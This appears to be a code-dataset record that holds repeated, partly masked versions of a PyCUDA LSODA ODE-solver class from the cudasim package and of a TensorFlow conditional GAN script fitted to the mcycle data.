def _run_simulation(self, parameters, init_values, blocks, threads,
in_atol=1e-06, in_rtol=1e-06):
total_threads = threads * blocks
experiments = len(parameters)
neqn = self._speciesNumber
init_common_kernel = self._completeCode.get_function('init_common')
init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))
ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.
_speciesNumber])
ret_istate = np.ones([total_threads], dtype=np.int32)
isize = 20 + self._speciesNumber
rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)
t = np.zeros([total_threads], dtype=np.float64)
jt = np.zeros([total_threads], dtype=np.int32)
neq = np.zeros([total_threads], dtype=np.int32)
itol = np.zeros([total_threads], dtype=np.int32)
iopt = np.zeros([total_threads], dtype=np.int32)
rtol = np.zeros([total_threads], dtype=np.float64)
iout = np.zeros([total_threads], dtype=np.int32)
tout = np.zeros([total_threads], dtype=np.float64)
itask = np.zeros([total_threads], dtype=np.int32)
istate = np.zeros([total_threads], dtype=np.int32)
atol = np.zeros([total_threads], dtype=np.float64)
liw = np.zeros([total_threads], dtype=np.int32)
lrw = np.zeros([total_threads], dtype=np.int32)
iwork = np.zeros([isize * total_threads], dtype=np.int32)
rwork = np.zeros([rsize * total_threads], dtype=np.float64)
y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)
for i in range(total_threads):
neq[i] = neqn
t[i] = 0
itol[i] = 1
itask[i] = 1
istate[i] = 1
iopt[i] = 0
jt[i] = 2
atol[i] = in_atol
rtol[i] = in_rtol
liw[i] = isize
lrw[i] = rsize
try:
for j in range(self._speciesNumber):
y[i * self._speciesNumber + j] = init_values[i][j]
ret_xt[i, 0, 0, j] = init_values[i][j]
except IndexError:
pass
d_t = driver.mem_alloc(t.size * t.dtype.itemsize)
d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)
d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)
d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)
d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)
d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)
d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)
d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)
d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)
d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)
d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)
d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)
d_y = driver.mem_alloc(y.size * y.dtype.itemsize)
d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)
d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)
d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)
driver.memcpy_htod(d_t, t)
driver.memcpy_htod(d_jt, jt)
driver.memcpy_htod(d_neq, neq)
driver.memcpy_htod(d_liw, liw)
driver.memcpy_htod(d_lrw, lrw)
driver.memcpy_htod(d_itol, itol)
driver.memcpy_htod(d_iopt, iopt)
driver.memcpy_htod(d_rtol, rtol)
driver.memcpy_htod(d_iout, iout)
driver.memcpy_htod(d_tout, tout)
driver.memcpy_htod(d_itask, itask)
driver.memcpy_htod(d_istate, istate)
driver.memcpy_htod(d_y, y)
driver.memcpy_htod(d_atol, atol)
driver.memcpy_htod(d_iwork, iwork)
driver.memcpy_htod(d_rwork, rwork)
param = np.zeros((total_threads, self._parameterNumber), dtype=np.
float32)
try:
for i in range(len(parameters)):
for j in range(self._parameterNumber):
param[i][j] = parameters[i][j]
except IndexError:
pass
ary = sim.create_2D_array(param)
sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,
total_threads)
self._param_tex.set_array(ary)
if self._dt <= 0:
for i in range(self._resultNumber):
for j in range(total_threads):
tout[j] = self._timepoints[i]
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
else:
tt = self._timepoints[0]
for i in range(self._resultNumber):
while 1:
next_time = min(tt + self._dt, self._timepoints[i])
for j in range(total_threads):
tout[j] = next_time
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
if np.abs(next_time - self._timepoints[i]) < 1e-05:
tt = next_time
break
tt = next_time
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
for j in range(total_threads):
if ret_istate[j] == 0:
for i in range(self._resultNumber):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = float('NaN')
return ret_xt[0:experiments]
| import os
import numpy as np
import pycuda
import pycuda.driver as driver
import cudasim.solvers.cuda.Simulator_mg as sim
import cudasim
class Lsoda(sim.SimulatorMG):
_param_tex = None
_step_code = None
_runtimeCompile = True
_lsoda_source_ = """
extern "C"{
#include <stdio.h>
__device__ myFex myfex;
__device__ myJex myjex;
__global__ void init_common(){
int tid = blockDim.x * blockIdx.x + threadIdx.x;
cuLsodaCommonBlockInit( &(common[tid]) );
}
__global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol,
double *rtol, double *atol, int *itask, int *istate, int *iopt,
double *rwork, int *lrw, int *iwork, int *liw, int *jt)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
//if(tid==0){
//printf("I am thread time %d %f\\n", tid, t[0] );
//}
dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid,
istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );
//if(tid==0){
//printf("I am done %d %f\\n", tid, t[0] );
//}
}
}
"""
def _compile(self, step_code):
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0],
'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = '#define ISIZE ' + repr(20 + self._speciesNumber) + '\n'
_rsize_ = '#define RSIZE ' + repr(22 + self._speciesNumber * max(16,
self._speciesNumber + 9)) + '\n'
_textures_ = 'texture<float, 2, cudaReadModeElementType> param_tex;\n'
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
1 * 1) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function(
'cuLsoda'))
blocks = self._MAXBLOCKSPERDEVICE
_common_block_ = '__device__ struct cuLsodaCommonBlock common[' + repr(
blocks * threads) + '];\n'
_code_ = (_isize_ + _rsize_ + _textures_ + step_code +
_sourceFromFile_ + _common_block_ + self._lsoda_source_)
if self._dump:
of = open('full_ode_code.cu', 'w')
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc='nvcc',
options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref('param_tex')
lsoda_kernel = compiled.get_function('cuLsoda')
return compiled, lsoda_kernel
def _run_simulation(self, parameters, init_values, blocks, threads,
in_atol=1e-06, in_rtol=1e-06):
total_threads = threads * blocks
experiments = len(parameters)
neqn = self._speciesNumber
init_common_kernel = self._completeCode.get_function('init_common')
init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))
ret_xt = np.zeros([total_threads, 1, self._resultNumber, self.
_speciesNumber])
ret_istate = np.ones([total_threads], dtype=np.int32)
isize = 20 + self._speciesNumber
rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)
t = np.zeros([total_threads], dtype=np.float64)
jt = np.zeros([total_threads], dtype=np.int32)
neq = np.zeros([total_threads], dtype=np.int32)
itol = np.zeros([total_threads], dtype=np.int32)
iopt = np.zeros([total_threads], dtype=np.int32)
rtol = np.zeros([total_threads], dtype=np.float64)
iout = np.zeros([total_threads], dtype=np.int32)
tout = np.zeros([total_threads], dtype=np.float64)
itask = np.zeros([total_threads], dtype=np.int32)
istate = np.zeros([total_threads], dtype=np.int32)
atol = np.zeros([total_threads], dtype=np.float64)
liw = np.zeros([total_threads], dtype=np.int32)
lrw = np.zeros([total_threads], dtype=np.int32)
iwork = np.zeros([isize * total_threads], dtype=np.int32)
rwork = np.zeros([rsize * total_threads], dtype=np.float64)
y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)
for i in range(total_threads):
neq[i] = neqn
t[i] = 0
itol[i] = 1
itask[i] = 1
istate[i] = 1
iopt[i] = 0
jt[i] = 2
atol[i] = in_atol
rtol[i] = in_rtol
liw[i] = isize
lrw[i] = rsize
try:
for j in range(self._speciesNumber):
y[i * self._speciesNumber + j] = init_values[i][j]
ret_xt[i, 0, 0, j] = init_values[i][j]
except IndexError:
pass
d_t = driver.mem_alloc(t.size * t.dtype.itemsize)
d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)
d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)
d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)
d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)
d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)
d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)
d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)
d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)
d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)
d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)
d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)
d_y = driver.mem_alloc(y.size * y.dtype.itemsize)
d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)
d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)
d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)
driver.memcpy_htod(d_t, t)
driver.memcpy_htod(d_jt, jt)
driver.memcpy_htod(d_neq, neq)
driver.memcpy_htod(d_liw, liw)
driver.memcpy_htod(d_lrw, lrw)
driver.memcpy_htod(d_itol, itol)
driver.memcpy_htod(d_iopt, iopt)
driver.memcpy_htod(d_rtol, rtol)
driver.memcpy_htod(d_iout, iout)
driver.memcpy_htod(d_tout, tout)
driver.memcpy_htod(d_itask, itask)
driver.memcpy_htod(d_istate, istate)
driver.memcpy_htod(d_y, y)
driver.memcpy_htod(d_atol, atol)
driver.memcpy_htod(d_iwork, iwork)
driver.memcpy_htod(d_rwork, rwork)
param = np.zeros((total_threads, self._parameterNumber), dtype=np.
float32)
try:
for i in range(len(parameters)):
for j in range(self._parameterNumber):
param[i][j] = parameters[i][j]
except IndexError:
pass
ary = sim.create_2D_array(param)
sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4,
total_threads)
self._param_tex.set_array(ary)
if self._dt <= 0:
for i in range(self._resultNumber):
for j in range(total_threads):
tout[j] = self._timepoints[i]
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
else:
tt = self._timepoints[0]
for i in range(self._resultNumber):
while 1:
next_time = min(tt + self._dt, self._timepoints[i])
for j in range(total_threads):
tout[j] = next_time
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol,
d_rtol, d_atol, d_itask, d_istate, d_iopt, d_rwork,
d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
if np.abs(next_time - self._timepoints[i]) < 1e-05:
tt = next_time
break
tt = next_time
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
for j in range(total_threads):
if ret_istate[j] == 0:
for i in range(self._resultNumber):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = float('NaN')
return ret_xt[0:experiments]
| import os
import numpy as np
import pycuda
import pycuda.driver as driver
import cudasim.solvers.cuda.Simulator_mg as sim
import cudasim
class Lsoda(sim.SimulatorMG):
_param_tex = None
_step_code = None
_runtimeCompile = True
_lsoda_source_ = """
extern "C"{
#include <stdio.h>
__device__ myFex myfex;
__device__ myJex myjex;
__global__ void init_common(){
int tid = blockDim.x * blockIdx.x + threadIdx.x;
cuLsodaCommonBlockInit( &(common[tid]) );
}
__global__ void cuLsoda(int *neq, double *y, double *t, double *tout, int *itol,
double *rtol, double *atol, int *itask, int *istate, int *iopt,
double *rwork, int *lrw, int *iwork, int *liw, int *jt)
{
int tid = blockDim.x * blockIdx.x + threadIdx.x;
//if(tid==0){
//printf("I am thread time %d %f\\n", tid, t[0] );
//}
dlsoda_(myfex, neq+tid, y+tid*NSPECIES, t+tid, tout+tid, itol+tid, rtol+tid, atol+tid, itask+tid,
istate+tid, iopt+tid, rwork+tid*RSIZE, lrw+tid, iwork+tid*ISIZE, liw+tid, myjex, jt+tid, &(common[tid]) );
//if(tid==0){
//printf("I am done %d %f\\n", tid, t[0] );
//}
}
}
"""
def _compile(self, step_code):
# set beta to 1: repeats are pointless as simulation is deterministic
self._beta = 1
fc = open(os.path.join(os.path.split(os.path.realpath(__file__))[0], 'cuLsoda_all.cu'), 'r')
_sourceFromFile_ = fc.read()
_isize_ = "#define ISIZE " + repr(20 + self._speciesNumber) + "\n"
_rsize_ = "#define RSIZE " + repr(22 + self._speciesNumber * max(16, self._speciesNumber + 9)) + "\n"
_textures_ = "texture<float, 2, cudaReadModeElementType> param_tex;\n"
_common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(1 * 1) + "];\n"
_code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_
if self._dump:
of = open("full_ode_code.cu", "w")
print >> of, _code_
# dummy compile to determine optimal blockSize and gridSize
compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False)
blocks, threads = self._getOptimalGPUParam(compiled.get_function("cuLsoda"))
blocks = self._MAXBLOCKSPERDEVICE
# real compile
_common_block_ = "__device__ struct cuLsodaCommonBlock common[" + repr(blocks * threads) + "];\n"
_code_ = _isize_ + _rsize_ + _textures_ + step_code + _sourceFromFile_ + _common_block_ + self._lsoda_source_
if self._dump:
of = open("full_ode_code.cu", "w")
print >> of, _code_
compiled = pycuda.compiler.SourceModule(_code_, nvcc="nvcc", options=[], no_extern_c=True, keep=False)
self._param_tex = compiled.get_texref("param_tex")
lsoda_kernel = compiled.get_function("cuLsoda")
return compiled, lsoda_kernel
def _run_simulation(self, parameters, init_values, blocks, threads, in_atol=1e-6, in_rtol=1e-6):
total_threads = threads * blocks
experiments = len(parameters)
neqn = self._speciesNumber
# compile
init_common_kernel = self._completeCode.get_function("init_common")
init_common_kernel(block=(threads, 1, 1), grid=(blocks, 1))
# output array
ret_xt = np.zeros([total_threads, 1, self._resultNumber, self._speciesNumber])
ret_istate = np.ones([total_threads], dtype=np.int32)
# calculate sizes of work spaces
isize = 20 + self._speciesNumber
rsize = 22 + self._speciesNumber * max(16, self._speciesNumber + 9)
# local variables
t = np.zeros([total_threads], dtype=np.float64)
jt = np.zeros([total_threads], dtype=np.int32)
neq = np.zeros([total_threads], dtype=np.int32)
itol = np.zeros([total_threads], dtype=np.int32)
iopt = np.zeros([total_threads], dtype=np.int32)
rtol = np.zeros([total_threads], dtype=np.float64)
iout = np.zeros([total_threads], dtype=np.int32)
tout = np.zeros([total_threads], dtype=np.float64)
itask = np.zeros([total_threads], dtype=np.int32)
istate = np.zeros([total_threads], dtype=np.int32)
atol = np.zeros([total_threads], dtype=np.float64)
liw = np.zeros([total_threads], dtype=np.int32)
lrw = np.zeros([total_threads], dtype=np.int32)
iwork = np.zeros([isize * total_threads], dtype=np.int32)
rwork = np.zeros([rsize * total_threads], dtype=np.float64)
y = np.zeros([self._speciesNumber * total_threads], dtype=np.float64)
for i in range(total_threads):
neq[i] = neqn
t[i] = 0
itol[i] = 1
itask[i] = 1
istate[i] = 1
iopt[i] = 0
jt[i] = 2
atol[i] = in_atol
rtol[i] = in_rtol
liw[i] = isize
lrw[i] = rsize
try:
# initial conditions
for j in range(self._speciesNumber):
# loop over species
y[i * self._speciesNumber + j] = init_values[i][j]
ret_xt[i, 0, 0, j] = init_values[i][j]
except IndexError:
pass
# allocate on device
d_t = driver.mem_alloc(t.size * t.dtype.itemsize)
d_jt = driver.mem_alloc(jt.size * jt.dtype.itemsize)
d_neq = driver.mem_alloc(neq.size * neq.dtype.itemsize)
d_liw = driver.mem_alloc(liw.size * liw.dtype.itemsize)
d_lrw = driver.mem_alloc(lrw.size * lrw.dtype.itemsize)
d_itol = driver.mem_alloc(itol.size * itol.dtype.itemsize)
d_iopt = driver.mem_alloc(iopt.size * iopt.dtype.itemsize)
d_rtol = driver.mem_alloc(rtol.size * rtol.dtype.itemsize)
d_iout = driver.mem_alloc(iout.size * iout.dtype.itemsize)
d_tout = driver.mem_alloc(tout.size * tout.dtype.itemsize)
d_itask = driver.mem_alloc(itask.size * itask.dtype.itemsize)
d_istate = driver.mem_alloc(istate.size * istate.dtype.itemsize)
d_y = driver.mem_alloc(y.size * y.dtype.itemsize)
d_atol = driver.mem_alloc(atol.size * atol.dtype.itemsize)
d_iwork = driver.mem_alloc(iwork.size * iwork.dtype.itemsize)
d_rwork = driver.mem_alloc(rwork.size * rwork.dtype.itemsize)
# copy to device
driver.memcpy_htod(d_t, t)
driver.memcpy_htod(d_jt, jt)
driver.memcpy_htod(d_neq, neq)
driver.memcpy_htod(d_liw, liw)
driver.memcpy_htod(d_lrw, lrw)
driver.memcpy_htod(d_itol, itol)
driver.memcpy_htod(d_iopt, iopt)
driver.memcpy_htod(d_rtol, rtol)
driver.memcpy_htod(d_iout, iout)
driver.memcpy_htod(d_tout, tout)
driver.memcpy_htod(d_itask, itask)
driver.memcpy_htod(d_istate, istate)
driver.memcpy_htod(d_y, y)
driver.memcpy_htod(d_atol, atol)
driver.memcpy_htod(d_iwork, iwork)
driver.memcpy_htod(d_rwork, rwork)
param = np.zeros((total_threads, self._parameterNumber), dtype=np.float32)
try:
for i in range(len(parameters)):
for j in range(self._parameterNumber):
param[i][j] = parameters[i][j]
except IndexError:
pass
# parameter texture
ary = sim.create_2D_array(param)
sim.copy2D_host_to_array(ary, param, self._parameterNumber * 4, total_threads)
self._param_tex.set_array(ary)
if self._dt <= 0:
for i in range(self._resultNumber):
for j in range(total_threads):
tout[j] = self._timepoints[i]
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,
d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
# end of loop over time points
else:
tt = self._timepoints[0]
for i in range(self._resultNumber):
while 1:
next_time = min(tt + self._dt, self._timepoints[i])
for j in range(total_threads):
tout[j] = next_time
driver.memcpy_htod(d_tout, tout)
self._compiledRunMethod(d_neq, d_y, d_t, d_tout, d_itol, d_rtol, d_atol, d_itask, d_istate,
d_iopt, d_rwork, d_lrw, d_iwork, d_liw, d_jt, block=(threads, 1, 1),
grid=(blocks, 1))
driver.memcpy_dtoh(t, d_t)
driver.memcpy_dtoh(y, d_y)
driver.memcpy_dtoh(istate, d_istate)
if np.abs(next_time - self._timepoints[i]) < 1e-5:
tt = next_time
break
tt = next_time
for j in range(total_threads):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = y[j * self._speciesNumber + k]
if istate[j] < 0:
ret_istate[j] = 0
# loop over and check ret_istate
# it will will be zero if there was problems
for j in range(total_threads):
if ret_istate[j] == 0:
for i in range(self._resultNumber):
for k in range(self._speciesNumber):
ret_xt[j, 0, i, k] = float('NaN')
return ret_xt[0:experiments]
| [
2,
3,
4,
5,
6
] |
9,941 | aba3e0907e59bc5125759e90d3c784ceb97fca80 | <mask token>
| <mask token>
np.random.seed(123)
<mask token>
tf.enable_eager_execution()
tf.set_random_seed(123)
<mask token>
gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.
activations.elu))
gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(Q))
<mask token>
disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.
activations.elu))
disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))
gen.summary()
disc.summary()
disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
<mask token>
both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
for epoch in tqdm(range(epochs)):
some_noise = np.random.normal(size=[N, R])
gen_dat = gen.predict(np.hstack([x, some_noise]))
disc.trainable = True
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf
.float32))
preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))
dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.
ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))
dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.
zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))
dl = 0.5 * tf.add(dl_real, dl_fake)
grads = t.gradient(dl, disc.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, disc.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.
trainable_variables[i]) for i in range(len(grads))]
disc.optimizer.apply_gradients(grads_n_vars)
disc.trainable = False
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,
tf.float32)])
bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)
.reshape([N, 1]), tf.cast(preds, tf.float64)))
grads = t.gradient(bl, both_mod.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, both_mod.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],
both_mod.trainable_variables[i]) for i in range(len(grads))]
both_mod.optimizer.apply_gradients(grads_n_vars)
<mask token>
plt.scatter(x, y)
<mask token>
plt.scatter(x, preds)
plt.savefig('temp.pdf')
| <mask token>
np.random.seed(123)
<mask token>
tf.enable_eager_execution()
tf.set_random_seed(123)
P = 1
R = 1
Q = 1
H = 20
epochs = 1000
doubleback_const = 1
mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)
N = mcycle.shape[0]
x = mcycle[:, 0].reshape([N, P])
y = mcycle[:, 1].reshape([N, Q])
x = (x - np.mean(x)) / np.std(x)
y = (y - np.mean(y)) / np.std(y)
gen = tf.keras.Sequential()
gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.
activations.elu))
gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(Q))
disc = tf.keras.Sequential()
disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.
activations.elu))
disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))
gen.summary()
disc.summary()
disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
noise = tf.keras.layers.Input(shape=(R,))
xdat = tf.keras.layers.Input(shape=(P,))
genin = tf.keras.layers.concatenate([xdat, noise])
genout = gen(genin)
discin = tf.keras.layers.concatenate([xdat, genout])
validity = disc(discin)
both_mod = tf.keras.models.Model([xdat, noise], validity)
both_mod.layers[5].trainable = False
both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
for epoch in tqdm(range(epochs)):
some_noise = np.random.normal(size=[N, R])
gen_dat = gen.predict(np.hstack([x, some_noise]))
disc.trainable = True
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf
.float32))
preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))
dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.
ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))
dl_fake = tf.reduce_mean(keras.losses.binary_crossentropy(np.
zeros(N).reshape([N, 1]), tf.cast(preds_fake, tf.float64)))
dl = 0.5 * tf.add(dl_real, dl_fake)
grads = t.gradient(dl, disc.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, disc.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i], disc.
trainable_variables[i]) for i in range(len(grads))]
disc.optimizer.apply_gradients(grads_n_vars)
disc.trainable = False
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds = both_mod([tf.cast(x, tf.float32), tf.cast(some_noise,
tf.float32)])
bl = tf.reduce_mean(keras.losses.binary_crossentropy(np.ones(N)
.reshape([N, 1]), tf.cast(preds, tf.float64)))
grads = t.gradient(bl, both_mod.trainable_variables)
grads_norm = 0
for i in range(len(grads)):
grads_norm += tf.reduce_mean(tf.square(grads[i]))
grads_norm /= float(len(grads))
double_grads = td.gradient(grads_norm, both_mod.trainable_variables)
grads_n_vars = [(grads[i] + doubleback_const * double_grads[i],
both_mod.trainable_variables[i]) for i in range(len(grads))]
both_mod.optimizer.apply_gradients(grads_n_vars)
fig = plt.figure()
plt.scatter(x, y)
some_noise = np.random.normal(size=[N, P])
preds = gen.predict(np.hstack([x, some_noise]))
plt.scatter(x, preds)
plt.savefig('temp.pdf')
| import keras
import numpy as np
from tqdm import tqdm
import matplotlib.pyplot as plt
np.random.seed(123)
import tensorflow as tf
from scipy.optimize import line_search
tf.enable_eager_execution()
tf.set_random_seed(123)
P = 1
R = 1
Q = 1
H = 20
epochs = 1000
doubleback_const = 1
mcycle = np.genfromtxt('./data/mcycle.csv', delimiter=',', skip_header=1)
N = mcycle.shape[0]
x = mcycle[:, 0].reshape([N, P])
y = mcycle[:, 1].reshape([N, Q])
x = (x - np.mean(x)) / np.std(x)
y = (y - np.mean(y)) / np.std(y)
gen = tf.keras.Sequential()
gen.add(tf.keras.layers.Dense(H, input_dim=P + R, activation=tf.keras.
activations.elu))
gen.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
gen.add(tf.keras.layers.Dense(Q))
disc = tf.keras.Sequential()
disc.add(tf.keras.layers.Dense(H, input_dim=P + Q, activation=tf.keras.
activations.elu))
disc.add(tf.keras.layers.Dense(H, activation=tf.keras.activations.elu))
disc.add(tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid))
gen.summary()
disc.summary()
disc.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
noise = tf.keras.layers.Input(shape=(R,))
xdat = tf.keras.layers.Input(shape=(P,))
genin = tf.keras.layers.concatenate([xdat, noise])
genout = gen(genin)
discin = tf.keras.layers.concatenate([xdat, genout])
validity = disc(discin)
both_mod = tf.keras.models.Model([xdat, noise], validity)
both_mod.layers[5].trainable = False
both_mod.compile(tf.train.GradientDescentOptimizer(learning_rate=1.0),
'binary_crossentropy')
for epoch in tqdm(range(epochs)):
some_noise = np.random.normal(size=[N, R])
gen_dat = gen.predict(np.hstack([x, some_noise]))
disc.trainable = True
with tf.GradientTape() as td:
with tf.GradientTape() as t:
preds_real = disc(tf.cast(np.hstack([x, y.reshape([N, Q])]), tf
.float32))
preds_fake = disc(tf.cast(np.hstack([x, gen_dat]), tf.float32))
dl_real = tf.reduce_mean(keras.losses.binary_crossentropy(np.
ones(N).reshape([N, 1]), tf.cast(preds_real, tf.float64)))
